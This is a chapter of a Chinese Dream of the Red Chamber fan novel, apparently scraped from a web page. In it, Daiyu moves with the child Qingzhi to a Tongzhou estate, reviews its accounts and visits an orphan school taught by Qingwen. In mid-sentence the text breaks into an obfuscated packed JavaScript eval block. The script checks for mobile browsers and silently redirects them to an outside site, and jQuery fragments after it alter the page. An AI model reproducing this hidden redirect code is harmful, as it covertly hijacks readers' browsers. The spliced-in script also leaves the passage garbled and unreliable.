63.别园竹泪湿晨露,归庄梅香映晚霞

作品:《清芷伴玉[红楼GL]

    寅时三刻,天尚青灰。


    潇湘馆内已点起灯烛。雪雁将那本黛玉视作宝贝的《安徒生童话故事》放入樟木书箱,动作皆轻悄,生怕惊了里间安睡的人。


    黛玉坐在妆台前,对镜理妆。镜中人面色苍白,眼底泛着青影,却匀了薄薄一层茉莉粉,又用胭脂膏子淡点了唇。她今日穿了件月白绫子袄,外罩青缎掐牙背心,下面是条藕荷色百褶裙。发间只簪了支银簪子,坠着米粒大的珍珠。


    这般打扮,倒像是寻常人家出远门的姑娘,只是通身的气度掩不住。


    “姑娘,”雪雁捧了个黑漆匣子进来,“这是昨儿老太太房里送来的,说是让姑娘路上用。”


    黛玉打开一看,里头整整齐齐码着二十锭雪花纹银,每锭十两,共二百两。银锭下压着张素笺,上头是鸳鸯的笔迹:“老太太私房,且收着,莫声张。保重身子,常来信。”


    她指尖抚过那些冰凉的银锭,心头酸涩。外祖母到底是疼她的,可这疼,在家族大势面前,又能抵得几分?


    “收在箱底罢。”她轻声说,并未推辞。不是贪这点银子,而是明白这是外祖母的心意,推了反伤情分。


    正说着,外间传来窸窣声响。清芷醒了,揉着眼睛从里间出来。她今日穿了身海棠红的小袄,头发梳成双丫髻——这是雪雁按十岁女童样式给她梳的。见了黛玉,她眼睛一亮,小跑着过来:


    “姐姐,我们今天真的要去玩吗?”


    黛玉转身,将她揽到身前,细细理了理她额前碎发:“是,去个清静地方住些日子。芷儿可要听话,路上不许闹。”


    “嗯!”清芷重重点头,又好奇地问,“那我们还回来吗?这里好大,像电视剧里的王府。”


    黛玉手顿了顿,才柔声道:“若芷儿喜欢,以后……咱们建一个更大更好的。”


    这时,外头传来脚步声。探春带着侍书来了。


    三姑娘今日穿了件鹅黄绸袄,眼圈却有些红。她一进门便握住黛玉的手,声音压得低低的:“林姐姐,真要走?”


    “总要走的。”黛玉微笑,反握住她的手,“园子里,往后你要多费心了。”


    探春从袖中取出个锦囊,塞进黛玉手里:“这是我攒的几两碎银子,还有两支参——不值什么,姐姐且拿着。庄子上万事都要打点,总有用处。”


    黛玉这回却推了:“好妹妹,你的心意我领了。只是银子真不必了,你在园子里,使钱的地方多。”


    探春一怔,这才想起林家原是盐政,家底丰厚。她心下稍安,却仍道:“那参收着。你身子弱,清芷又……”


    话到此处,眼圈又红了。两人执手相对,竟一时无言。


    半晌,探春才低声道:“王善保家的昨儿在太太跟前嘀咕,说姐姐这一走,怕是……不回来了。太太没说话,只拨弄佛珠。姐姐此去,务必小心。”


    “我省得。”


    外头天光渐亮。角门外已备好两辆青帷小车,并一辆装行李的板车。


    黛玉最后看了一眼潇湘馆。院中湘妃竹在晨风中簌簌作响,竹叶上露珠未晞,莹莹如泪。阶前那几株白海棠,花苞才刚鼓起,她却是看不到它们盛放的模样了。


    “走吧。”她牵起清芷的手。


    一行人悄无声息出了角门。贾母房里遣了琥珀来送,只说老太太年纪大了,不忍见离别,让姑娘路上保重。王夫人那边,连个婆子也没来。


    马车驶出宁荣街时,清芷忽然掀开车帘,回头望了望那两座巍峨的石狮子,小声说:“姐姐,这个景搭得真像。我妈妈说过,荣国府门口的石狮子,最气派了。”


    黛玉将她搂进怀里,下巴轻抵着她的发顶,没有说话。


    车声辘辘,出了城门,上了官道。路渐颠簸,两旁景色也由繁华街市变为郊野田庄。正是仲春时节,陌上杨柳新绿,田里麦苗青青,偶有几树桃花、杏花,开得泼泼洒洒。


    清芷起初还兴奋地看着窗外,不多时便困了,靠在黛玉怀里睡去。黛玉却毫无睡意,只静静看着外头掠过的景色。


    雪雁坐在对面,几番欲言又止,终是轻声道:“姑娘,庄子上的事……可都安排妥当了?”


    “方管事前日递了信来,说屋子已收拾出来。”黛玉声音平静,“梅影堂就在庄内西院,十二个孩子都安好。晴雯也在那儿,教孩子们刺绣。”


    提到晴雯,雪雁便有些感慨。那日晴雯被赶出园子时,已是气息奄奄,如今竟能在梅影堂做女先生,真是造化弄人。


    行至午时,车在一处茶寮停下歇脚。清芷醒了,嚷着饿,雪雁忙取出食盒,里头是早起备的几样点心:枣泥山药糕、玫瑰酥、并一碟腌笋。


    清芷吃得香甜,黛玉却只用了半块糕,便搁了筷子。她站在茶寮外,望着远处隐隐可见的通州城廓,心中千头万绪。


    这一去,是真要自立门户了。好在父亲留下的产业丰足——扬州、苏州、京郊都有田庄铺面,盐引堪合更是年年有进项。林诚伯代管这些年,账目十分清楚,每季都将盈余银两存在通德银号,折子就在她妆匣底层。


    经济上她不愁。愁的是人心,是世道,是那些看不见的算计。


    未时末,车马到了通州庄子。这庄子原是林如海在京郊置的产业之一,占地五十余亩,内有一个小府邸,三进院落,后头还有个小花园。粉墙黛瓦,竹影扶疏,虽不比大观园精巧,却别有一番清雅。


    方杞早已候在庄门外。这个四十来岁的汉子,面容端正,穿着青布直裰,见礼时不卑不亢:“姑娘一路辛苦。屋子已收拾妥当,热水热饭都备下了。”


    黛玉颔首:“有劳方管事。”


    进得门来,但见庭院洒扫洁净,青石甬道一尘不染。前院三间正房,左右厢房,廊下摆着几盆兰草,幽香细细。清芷一进门便雀跃起来,拉着雪雁满院子看:


    “这里有真的井!还有石磨!姐姐,我们是不是要住很久?”


    黛玉柔声道:“是,往后芷儿就住这儿了。”


    正房布置得素雅。一应家具虽不华丽,却都是上好木料,擦得光可鉴人。窗下摆着张黄花梨书案,案上有笔墨纸砚,还有只龙泉青瓷瓶,插着几支新采的野蔷薇。


    黛玉四下看了一遍,心下感激方杞用心。转身道:“雪雁,把咱们带的那些料子拿出来,给方管事家的并庄上几个帮佣的媳妇做身衣裳。将药材理一理,该入库的入库,该煎的今晚就煎上。”


    又对方杞道:“劳烦管事将庄上这些年的账册,并通德银号的折子拿来我瞧瞧。还有梅影堂那边,我想先去看看孩子们。”


    方杞应下,不多时捧来一摞账册并一个紫檀木匣。黛玉打开木匣,里头是通德银号的存折——最新一笔是上月存的,三千两。她心中有了底,这才翻开账册。


    庄上收支清楚,田租、铺面租金、盐引分红,每年进项约莫五六千两。除去庄子开销、梅影堂用度,还能余下两千有余。


    她合上账册,对方杞道:“辛苦管事了。账目清楚,我很放心。往后庄上一切照旧,只梅影堂那边,我想添些用度。孩子们正在长身子,伙食要好些;笔墨纸砚不能省;再请位通文墨的女先生,教她们识字念书。”


    方杞一一记下,又道:“姑娘仁心。只是有句话不知当讲不当讲——梅影堂如今收容教导孤女,虽是善举,难免惹人注目。通州地界上,已有几家大户私下打听……”


    黛玉明白他的意思。一个未出阁的姑娘家,大张旗鼓办善堂,难免招人议论。她淡淡道:“让他们打听去。我行得正坐得端,不怕人说。”


    正说着,外头传来清脆的读书声。黛玉起身:“是梅影堂的孩子们?”


    “是。”方杞引路,“就在西


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248428|193921||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    院。晴雯姑娘正教她们识字。”


    西院原是庄子的客院,如今收拾出来,做了学堂。三间敞亮的屋子,一间读书,一间做女红,一间歇息。廊下坐着十二个女孩,大的不过十三四,小的才七八岁,个个衣裳整洁,正跟着晴雯读书。


    晴雯穿了身淡绿衫子,头发梳得整整齐,面色虽还有些苍白,精神却好。见黛玉来了,她忙起身行礼:“林姑娘。”


    那些女孩也纷纷起身,怯生生地唤:“林先生。”


    黛玉心中一暖,柔声道:“都坐着罢。念的什么书?”


    一个胆子大些的女孩回道:“回先生,念《女诫》的‘卑弱’篇。”


    黛玉眉头微蹙。她知道这是女子启蒙必读,可心里总觉得那“卑弱”二字刺耳。沉吟片刻,她轻声道:“今日先不念这个。我教你们一首诗罢。”


    她走到廊下,望着院中那株开得正盛的玉兰,缓缓念道:


    “庭前玉兰花,皎皎如霜雪。


    不争桃李艳,自向春风发。


    香远益清绝,格高谁能折?


    愿为庭中树,岁岁守清洁。”


    女孩们跟着念,声音稚嫩却认真。晴雯在一旁听着,眼中闪过复杂神色。她想起自己从前在怡红院,何曾想过有朝一日能教人念诗?


    清芷不知何时也跟来了,靠在黛玉身边,小声问:“姐姐,她们都是你的学生吗?”


    “是。”黛玉摸摸她的头,“芷儿想不想和她们一起念书?”


    清芷眼睛亮了亮,又摇摇头:“我想和姐姐在一起。”


    正说着,一个小女孩捧着个绣绷过来,怯生生道:“先生,这是我绣的。”


    绷子上绣着几枝梅花,针脚虽稚嫩,形态却生动。黛玉接过细看,赞道:“绣得好。是谁教你的?”


    “是晴雯先生。”女孩小声道,“先生说,梅花耐寒,风雪里也能开。”


    黛玉看向晴雯,晴雯低下头:“胡乱教些,让姑娘见笑了。”


    “教得很好。”黛玉认真道,“往后不只教女红,也教她们些诗文。女子虽不必科考,多读些书,明些事理,总是好的。”


    晴雯眼眶微红,重重点头。


    傍晚时分,庄子炊烟袅袅。厨房送来饭菜:一盘清炒笋尖,一碗火腿鲜笋汤,一碟糟鹅掌,还有新蒸的粳米饭。虽不比贾府精致,却清爽可口。


    清芷吃得香甜,黛玉也多用了一碗汤。饭毕,紫鹃煎了药来,黛玉亲自喂清芷服下。药苦,清芷皱着小脸,却还是乖乖喝了。


    “芷儿真乖。”黛玉拿帕子替她擦嘴。


    清芷靠在黛玉怀里,忽然小声说:“姐姐,我好像……做过一个梦。”


    “什么梦?”


    “梦里有好大的火,姐姐在哭……”她皱紧眉头,努力回想的样子,“然后……然后就记不得了。”


    黛玉心中一痛,将她搂得更紧些:“只是梦,不怕。姐姐在这儿。”


    夜深了,清芷睡下。黛玉却毫无睡意,独自坐在灯下。窗外月明如洗,将庭中竹影投在窗纸上,摇摇曳曳。


    她取过妆匣底层那本存折,又翻开父亲留下的田产地契。这些是她的倚仗,也是她的负累。从前在贾府,这些都由林诚打理,她只做个不问世事的闺阁小姐。如今离了那座府邸,一切都要自己担起来了。


    不怕。


    她提笔,在素笺上写下一行字:


    “通州庄子日常用度计划。”


    字迹清秀,却透着股难得的坚定。


    这一笔一画,不是诗,不是词,是往后安身立命的根本。


    远处传来更鼓声,二更了。


    黛玉吹熄了灯,和衣躺下。身旁清芷睡得正熟,呼吸均匀。


    她轻轻握住清芷的手。


    月色如水,漫过窗棂,将两人身影笼在一处。